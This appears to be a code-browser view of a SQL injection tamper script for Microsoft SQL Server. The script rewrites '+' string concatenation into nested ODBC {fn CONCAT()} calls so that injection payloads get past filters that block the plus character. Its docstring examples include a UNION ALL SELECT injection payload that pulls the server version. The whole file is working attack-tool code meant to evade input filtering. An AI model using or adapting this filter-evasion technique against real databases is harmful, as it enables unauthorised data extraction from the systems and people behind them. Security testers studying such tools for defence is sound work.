Replaces plus operator ('+') with (MsSQL) ODBC function {fn CONCAT()} counterpart Tested against: * Microsoft SQL Server 2008 Requirements: * Microsoft SQL Server 2008+ Notes: * Useful in case ('+') character is filtered * https://msdn.microsoft.co
(payload, **kwargs)
| 20 | singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MSSQL)) |
| 21 | |
| 22 | def tamper(payload, **kwargs): |
| 23 | """ |
| 24 | Replaces plus operator ('+') with (MsSQL) ODBC function {fn CONCAT()} counterpart |
| 25 | |
| 26 | Tested against: |
| 27 | * Microsoft SQL Server 2008 |
| 28 | |
| 29 | Requirements: |
| 30 | * Microsoft SQL Server 2008+ |
| 31 | |
| 32 | Notes: |
| 33 | * Useful in case ('+') character is filtered |
| 34 | * https://msdn.microsoft.com/en-us/library/bb630290.aspx |
| 35 | |
| 36 | >>> tamper('SELECT CHAR(113)+CHAR(114)+CHAR(115) FROM DUAL') |
| 37 | 'SELECT {fn CONCAT({fn CONCAT(CHAR(113),CHAR(114))},CHAR(115))} FROM DUAL' |
| 38 | |
| 39 | >>> tamper('1 UNION ALL SELECT NULL,NULL,CHAR(113)+CHAR(118)+CHAR(112)+CHAR(112)+CHAR(113)+ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32))+CHAR(113)+CHAR(112)+CHAR(107)+CHAR(112)+CHAR(113)-- qtfe') |
| 40 | '1 UNION ALL SELECT NULL,NULL,{fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT(CHAR(113),CHAR(118))},CHAR(112))},CHAR(112))},CHAR(113))},ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32)))},CHAR(113))},CHAR(112))},CHAR(107))},CHAR(112))},CHAR(113))}-- qtfe' |
| 41 | """ |
| 42 | |
| 43 | retVal = payload |
| 44 | |
| 45 | if payload: |
| 46 | match = re.search(r"('[^']+'|CHAR\(\d+\))\+.*(?<=\+)('[^']+'|CHAR\(\d+\))", retVal) |
| 47 | if match: |
| 48 | old = match.group(0) |
| 49 | parts = [] |
| 50 | last = 0 |
| 51 | |
| 52 | for index in zeroDepthSearch(old, '+'): |
| 53 | parts.append(old[last:index].strip('+')) |
| 54 | last = index |
| 55 | |
| 56 | parts.append(old[last:].strip('+')) |
| 57 | replacement = parts[0] |
| 58 | |
| 59 | for i in xrange(1, len(parts)): |
| 60 | replacement = "{fn CONCAT(%s,%s)}" % (replacement, parts[i]) |
| 61 | |
| 62 | retVal = retVal.replace(old, replacement) |
| 63 | |
| 64 | return retVal |
nothing calls this directly
no test coverage detected
searching dependent graphs…